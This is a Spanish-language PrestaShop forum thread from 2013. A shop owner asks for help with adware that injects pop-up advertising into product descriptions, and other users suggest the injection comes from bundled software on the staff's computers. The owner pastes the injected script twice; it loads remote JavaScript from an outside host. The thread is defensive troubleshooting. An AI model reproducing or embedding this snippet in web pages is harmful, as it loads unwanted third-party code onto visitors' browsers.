repmg Posted June 7, 2013 Share Posted June 7, 2013 Esto es un robot automatizado que inyecta publicidad no autorizada. (Sale un pop up ,Abajo en el food y en el lateral derecho) ¿Cómo se detecta? El caso se me da en la inyección en la descripción larga del producto al final de ella. Y lo encontré en un producto con el firebug y lo elimine es: ---------------------------- <script id="FoxLingoJs" type="text/javascript">// <![CDATA[ !function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);[spam-filter];h.appendChild(s);}catch(ex){[spam-filter]();// ]]></script> ---------------------------------- Lo borre y solucione el problema Pensé que alguien por error había copiado y pegado hasta el script Pero no: Se vuelve a repetir en forma aleatoria en otros productos ¿Pregunto? Han encontrado la solución, a alguien le ocurre lo mismo. Si son tan amables una ayuda Ayuda urgente Me permito abrir un hilo nuevo ya que hay otro abierto y no tengo nada más que una respuesta http://www.prestashop.com/forums/topic/249175-problema-popup-publicidad-no-deseada/page__pid__1237361?do=findComment&comment=1237361 nadie, on 04 junio 2013 - 04:23 , said: Pues entonces, mírate esto: http://jordiob.com/2...s-a-prestashop/ Lo he probado y me da negativo Es un Malware pero no sé por dónde entra -- La Web es www.sumascota.es Pero no entren porque no se puede ver solo sale en la descripción larga del producto(Repito perdón) Y no tiene un patrón fijo Link to comment Share on other sites More sharing options...
joseantgv Posted June 7, 2013 Share Posted June 7, 2013 De forma aleatoria en productos? Eso es muy raro, la plantilla de todos los productos es la misma. Seguro que no es algo que tengas en tu pc? Has probado en otros pcs? Link to comment Share on other sites More sharing options...
repmg Posted June 8, 2013 Author Share Posted June 8, 2013 No es cuestión de PC e incluso son detectados por los compañeros de la empresa en sus PC y de casualidad. Y han aparecido en tres productos diferentes. ¿La pregunta? Como es posible que este codigo lo escriba una maquina dentro de la descripción larga al pie de la misma ---------------------------- <script id="FoxLingoJs" type="text/javascript">// <![CDATA[ !function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);[spam-filter];h.appendChild(s);}catch(ex){[spam-filter]();// ]]></script> ---------------------------------- Gracias por contestar Link to comment Share on other sites More sharing options...
repmg Posted June 8, 2013 Author Share Posted June 8, 2013 Hemos desactivado casi todos los modulos para empezar hasta ahora no hemos detectado ningún otro Por eso preguntó en el foro si a otros les pasa igual En cuanto a la plantilla esta personalizada por nosotros pero la introdución de los productos es la general de Prestashop Solamente somos dos los que cargamos los productos En fin Gracias Link to comment Share on other sites More sharing options...
repmg Posted June 8, 2013 Author Share Posted June 8, 2013 Si copias el codigo y lo pegas en el buscador de Google salen un monton,pero no se de que van Link to comment Share on other sites More sharing options...
repmg Posted June 8, 2013 Author Share Posted June 8, 2013 Quizá sea eso,pero como lo localizamos en la red ¿Y que red? Prestashop instalado en el Servidor Trabajamos con el Back Office Subimos los archivos por FTP y creo que nada más. Ademas los productos ya no se modifican Alguna variación de precio ofertas,el home,etc. Se inserta solo o hay fantasmas Gracias a todos Aclaro al presente no aparecio Una pregunta instalamos el YOTPO lo desactivamos. He leido que los encabezados de correo pueden tener malware Podra ser esto No se es raro de verdad Link to comment Share on other sites More sharing options...
repmg Posted June 8, 2013 Author Share Posted June 8, 2013 Pues tengo acceso de mi hogar por eso es que no estoy en Red Los que estan en la Empresa Entran igual que yo pero tienen permisos diferentes de empleados Link to comment Share on other sites More sharing options...
repmg Posted June 8, 2013 Author Share Posted June 8, 2013 Estoy mirando la base de datos 1 por1 para ver si detecto otro Link to comment Share on other sites More sharing options...
Xeral Posted June 9, 2013 Share Posted June 9, 2013 Eso me recuerda a algo que he visto en otros pcs y es que hay una aplicación que se instala cuando te bajas un programa desde la web y ejecutas la instalación por defecto en lugar de personalizarla.De ese modo instalas programas que no deseas y uno de ellos inserta publicidad y no es que no sea autorizada, porque la has autorizado sin saberlo en la instalación de ese programa. Busca en tu ordenador programas que no conozcas y o que sospeches y desinstálalo. En aquel momento el programa era fácil de detectar en el panel de control de programas de windows, pero casi te digo que ese es el problema y seguro que en tu oficina y en tu casa os pasa a todos porque el porgrama instalado causante del problema está en todos los pcs. Link to comment Share on other sites More sharing options...
repmg Posted June 10, 2013 Author Share Posted June 10, 2013 Gracias por tu atención lo comprobaremos Hay un programa en común Store Manager for Prestashop Y el Modulo Yotpo Pero lo curioso que tu copias y pegas el script arriba mecionado en el buscador de Google y te salen un Monton. En una palabra " NO SE NADA" Ejemplo: Aproximadamente 402 resultados (0,80 segundos) "s" (y las palabras que le siguen) se ignoró porque limitamos las consultas a 32 palabras. Sugerencia: Buscar solo resultados en español. Puedes especificar tu idioma de búsqueda en Preferencias. Resultados de la búsqueda Insert link - user profile doesn't work - Atlassian Answers https://answers.atlassian.com/.../insert-link-user-profile-doesn-t-work 11/09/2012 – Hi All, I tried to insert a user profile in Confluence but I didn't get the user! ... CDATA[ !function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this. Where can I get the Atlassian Support icon from? - Atlassian Answers https://answers.atlassian.com/.../where-can-i-get-the-atlassian-support-ico... 09/11/2012 – getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js" ... Link to comment Share on other sites More sharing options...
repmg Posted June 17, 2013 Author Share Posted June 17, 2013 Perdon por no contestar antes Es verdad y ratifico En la Empresa existe una red (je,je-en mi house no) Al grano me echaban a mi la culpa,voy por ellos Que revisen sus maquinas Si esta solucionado ya avisaré (para cerrar el post) Gracias a todos Sin pensar mal He! Los quiero mucho Link to comment Share on other sites More sharing options...
moraira Posted June 17, 2013 Share Posted June 17, 2013 (edited) Curioso, yo estoy navegando un rato y no me sale nada repmg no tiene que ver pero ya que estamos revísate el z-index del fancybox o del menú y del carrito, en una resolución como la mia queda tapada la opcion "fácil" de cerrar las fotos Edited June 17, 2013 by moraira (see edit history) Link to comment Share on other sites More sharing options...
Recommended Posts